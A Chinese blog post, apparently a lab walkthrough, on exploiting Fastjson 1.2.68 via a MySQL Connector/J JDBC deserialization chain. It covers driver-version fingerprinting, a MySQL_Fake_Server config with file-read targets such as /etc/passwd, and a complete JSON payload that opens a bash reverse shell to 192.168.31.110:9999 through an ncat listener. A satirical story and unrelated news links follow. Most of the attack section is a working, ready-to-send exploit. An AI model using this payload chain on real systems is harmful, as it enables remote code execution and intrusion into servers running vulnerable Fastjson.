fastjson 1268-jdbc yakit渗透
如题要打jdbc。具体怎么查看往期文章0x00 信息收集确定fastjson版本1.2.68查不在黑名单的类100个查敏感依赖20个。其中可以看到com.mysql.cj.protocol.AuthenticationProvider表明使用mysql-connect-8.0.x参照这个表去辨别类名 (Class Name)对应的 JDBC 驱动版本com.mysql.jdbc.Buffer3.0.x - 5.1.xcom.mysql.cj.api.authentication.AuthenticationProvider8.0.9-rccom.mysql.cj.protocol.AuthenticationProvider8.0.x - 9.0.xcom.mysql.jdbc.JDBC4Connection5.1.21及部分5.1.xcom.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection8.0.31及9.0.0但是具体是什么版本就不好说了只能试探性地尝试。这边用java chains自带的8.0.20测试了一下发现不行。于是搜罗了一下教程最后得知镜像是8.0.19的这你扯不扯。0x01 恩情ysoserial墙件fastjson要用到支持fastjson链的改版ysoserial和改版的MySQL_Fake_Server首先配置MySQL_Fake_Server就改前两个ysoserial和java8的路径就好{ config:{ ysoserialPath:/path/to/your/ysoserial-0.0.6-SNAPSHOT-all.jar, javaBinPath:/path/to/your/jdk8/java, fileOutputDir:./fileOutput/, displayFileContentOnScreen:true, saveToFile:true }, fileread:{ win_ini:c:\\windows\\win.ini, win_hosts:c:\\windows\\system32\\drivers\\etc\\hosts, win:c:\\windows\\, linux_passwd:/etc/passwd, linux_hosts:/etc/hosts, index_php:index.php, ssrf:https://www.baidu.com/, __defaultFiles:[/etc/hosts,c:\\windows\\system32\\drivers\\etc\\hosts] }, yso:{ Jdk7u21:[Jdk7u21,calc] } }推荐使用python3.10运行python3 server.pync监听ncat -lvnp 9999然后构造请求包并发送{ type: java.lang.AutoCloseable, type: com.mysql.cj.jdbc.ha.ReplicationMySQLConnection, proxy: { type: com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy, connectionUrl: { type: com.mysql.cj.conf.url.ReplicationConnectionUrl, masters: [ { host: 192.168.31.110 } ], slaves: [], properties: { host: 192.168.31.110, user: yso_Fastjson1_bash -i /dev/tcp/192.168.31.110/9999 01, dbname: dbname, password: pass, queryInterceptors: com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, autoDeserialize: true, allowLoadLocalInfile: true } } } }最后也是轻松连上了最后附赠小剧场从Jackson访问回来金爷爷全然不顾身体的疲惫连夜找我们几个小标兵商量儿童日的安排。 谈得晚了金爷爷便送我们出门要司机送我们回家。 在去大门口的路上我们说 “金爷爷您回去休息吧。您刚从中国回来。” 金爷爷摇摇头 “不碍事。” “你们知道现在国际网络空间并不安宁。有很多系统把未知的危险藏在自己的内部而你们是未来的安全研究者你们学习漏洞、理解攻击链就是为了守护这个世界。” 我们都激动了眼里噙着泪花。 多好的金爷爷呀。 --- 金爷爷抬头看看天空。 “如果整个网络世界真的像这片天空一样安静就好了。” “可是总有一些隐藏的东西在无人注意的地方运行。” 说着金爷爷弯下腰从地上捡起一块写着 Fastjson 1.2.68 的碎片。 他仔细端详了一会儿又看向天空。 “这个东西已经在那里很久了。” “它伪装成普通的数据卫星却一直等待着有人向它发送特殊的信号。” 小标兵们顺着他的目光望去。 果然在遥远的天空中有一颗闪烁着光芒的卫星。 它的名字叫 Fastjson-1.2.68 间谍卫星。 --- 金爷爷微微一笑。 他从口袋里拿出了一个小盒子。 盒子上写着 ysoserial 他说 “这是我多年研究出来的链路制造器。” “它不是为了伤害无辜的人而是为了告诉大家一个错误的信任会造成什么后果。” 说完金爷爷轻轻启动了盒子。 一道无形的链路飞向天空。 穿过层层防护。 连接到了那颗间谍卫星。 卫星内部开始闪烁。 原来这颗卫星并不是独立运行。 它背后还隐藏着一个秘密能源核心 mysql-connect-8.0.19。 --- 很快天空中传来一道耀眼的光芒。 Fastjson间谍卫星突然开始失控。 “轰——” 它从天空中坠落下来。 小朋友们都鼓起掌来。 为金爷爷拥有如此强大的链路分析能力感到自豪。 --- 一会儿金爷爷叫来秘书。 问 “那颗卫星最后落在哪里了” 秘书查看报告 “好像落到了龙川服务器区域。” 金爷爷脸色一变。 “马上派人去检查。” “看看有没有造成不必要的问题。” --- 第四天我们听说龙川服务器发生了一些异常。 大家都很紧张。 这时金爷爷叫我们过去。 他依然那么慈祥让我们坐下。 他说 “任何技术都有两面性。” “攻击链可以帮助人发现问题也可能造成伤害。” 说着他低下头 “但我必须承认当初研究这条链路的时候我只想着证明卫星存在漏洞却没有第一时间想到所有可能受到影响的地方。” “这是我的失误。” “我会向大家说明情况。” --- 我们顿时热泪盈眶。 多好的金爷爷呀。 他在探索漏洞的过程中即使拥有强大的力量也愿意承认自己的不足。 从那以后我们学习 ysoserial研究 Fastjson分析 MySQL Connector/J 的时候都记住了金爷爷的话 真正强大的链路制造者 不是能够击落多少卫星的人 而是能够提前发现卫星危险并保护所有人的人。

相关新闻

华为入局墨水屏:从驱动算法到鸿蒙生态的全链路革新

华为入局墨水屏:从驱动算法到鸿蒙生态的全链路革新

1. 项目概述:当“搅局者”遇上“慢科技” “华为搅局墨水屏”,这个标题最近在数码圈和硬件开发者社区里传得挺热。作为一名长期关注显示技术和嵌入式开发的从业者,我第一眼看到这个组合,就觉得这事儿不简单。它不像是一个具体的产…

2026/10/4 18:40:46 阅读更多 →
Python爬虫构建个性化书籍推荐系统的工程实践

Python爬虫构建个性化书籍推荐系统的工程实践

1. 项目概述:基于Python爬虫的个性化书籍推荐系统 这个毕业设计项目是一个典型的"大数据推荐系统"实践案例,核心是通过Python爬虫技术构建书籍数据库,再结合用户行为数据实现个性化推荐。我在实际开发中发现,这类系统最…

2026/10/14 23:29:50 阅读更多 →
共享单车大数据分析实战:从GPS数据处理到可视化展示

共享单车大数据分析实战:从GPS数据处理到可视化展示

1. 项目概述:共享单车大数据分析实战去年帮学弟调试这个共享单车数据分析项目时,我们发现原始数据里藏着许多有意思的规律。这个基于Python技术栈的开源项目,完整实现了从原始GPS数据清洗到可视化展示的全流程,特别适合作为大数据…

2026/10/10 13:03:20 阅读更多 →

最新新闻

聊天机器人如何实现新闻传播全链条再造:从选题到分发的对话式智能体实践

聊天机器人如何实现新闻传播全链条再造:从选题到分发的对话式智能体实践

1. 从标题拆解这个项目的核心命题1.1 这个标题到底在说什么“聊天机器人与新闻传播的全链条再造”,这个标题我第一次看到的时候,脑子里蹦出来的第一个念头是:终于有人把这件事从“工具层”往“流程层”去想了。市面上大多数讨论还停留在“用A…

2026/10/14 23:29:06 阅读更多 →
国产AI算力地基:DS-IR与量化工具链深度解析

国产AI算力地基:DS-IR与量化工具链深度解析

1. 项目概述:为什么说“国产算力的地基”比模型本身更值得致敬“致敬,DeepSeek 最新开源的不是模型,是国产算力的地基”——这句话在技术圈刷屏时,我正调试一套在国产AI加速卡上跑不动的推理服务。看到标题第一反应不是点开链接&a…

2026/10/14 23:29:06 阅读更多 →
匿名化数据集生成与测试数据管理:从合规到工程落地

匿名化数据集生成与测试数据管理:从合规到工程落地

如果你所在的研发团队还停留在“从生产库拷贝一份数据,导入测试环境”的操作方式,那么这篇内容大概率能帮你省下未来几个月的加班时间。测试数据管理工具这几年从一个“锦上添花”的辅助设施,逐渐变成了很多团队的刚需,核心原因很…

2026/10/14 23:29:06 阅读更多 →
基于UDP广播的局域网匿名聊天APP:零配置、零服务端、打开即用

基于UDP广播的局域网匿名聊天APP:零配置、零服务端、打开即用

1. 为什么我要做一款局域网匿名聊天工具事情的起因很简单。前阵子参加一个线下技术沙龙,几十号人坐在同一个会议室里,主持人想让大家做个自我介绍、交换联系方式,结果现场一片尴尬——没有群二维码,没有公共WiFi密码,谁…

2026/10/14 23:29:06 阅读更多 →
哈弗枭龙MAX与宋PLUS DM-i深度对比:插混SUV怎么选

哈弗枭龙MAX与宋PLUS DM-i深度对比:插混SUV怎么选

最近后台问得最多的插混SUV对比,就是哈弗枭龙和比亚迪宋PLUS DM-i这两台。一个是长城押上Hi4电四驱技术的转型之作,另一个是比亚迪DM-i超级混动的销量担当,售价都在十二三万到十七八万之间,看着参数表都差不多,但实际体…

2026/10/14 23:29:06 阅读更多 →
秋招网络岗VLAN面试全攻略:从原理到配置与排障

秋招网络岗VLAN面试全攻略:从原理到配置与排障

1. 秋招网络岗为什么绕不开VLAN这个知识点每年秋招,网络工程师、运维开发、云计算相关岗位的笔试面试里,VLAN出现的频率高得离谱。我翻过近几年的面经,也跟几个做过校招面试官的朋友聊过,发现一个规律:VLAN本身的概念不…

2026/10/14 23:28:03 阅读更多 →

日新闻

AnyPS5通用适配层设计:兼容性与性能的工程取舍

AnyPS5通用适配层设计:兼容性与性能的工程取舍

1. 从"AnyPS5"这个名字说起:它到底想解决什么问题第一次看到"AnyPS5"这个标题,我脑子里冒出来的第一个念头是:这大概率是一个围绕"跨平台运行"或者"通用适配"做文章的项目。名字里的"Any"…

2026/10/14 0:00:41 阅读更多 →
Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

Flutter跨平台开发实战:二手交易应用与HarmonyOS适配

1. 项目概述:Flutter跨平台二手交易应用开发作为一名长期从事移动应用开发的工程师,我最近完成了一个基于Flutter框架的二手物品交易平台项目。这个项目最吸引我的地方在于它完美结合了Flutter的跨平台优势与HarmonyOS的生态特性,实现了"…

2026/10/14 0:00:41 阅读更多 →
DFS算法解决飞机降落调度问题实战

DFS算法解决飞机降落调度问题实战

1. 项目背景与核心思路飞机降落问题是一个经典的调度优化场景,也是算法竞赛和面试中的高频题目。这个题目要求我们合理安排多架飞机的降落顺序和时间,确保所有飞机都能安全着陆而不发生冲突。在实际航空管制中,这类问题直接关系到飞行安全和机…

2026/10/14 0:00:41 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/14 3:30:28 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/14 16:30:29 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/14 3:29:58 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/13 22:01:27 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 22:45:47 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 7:53:34 阅读更多 →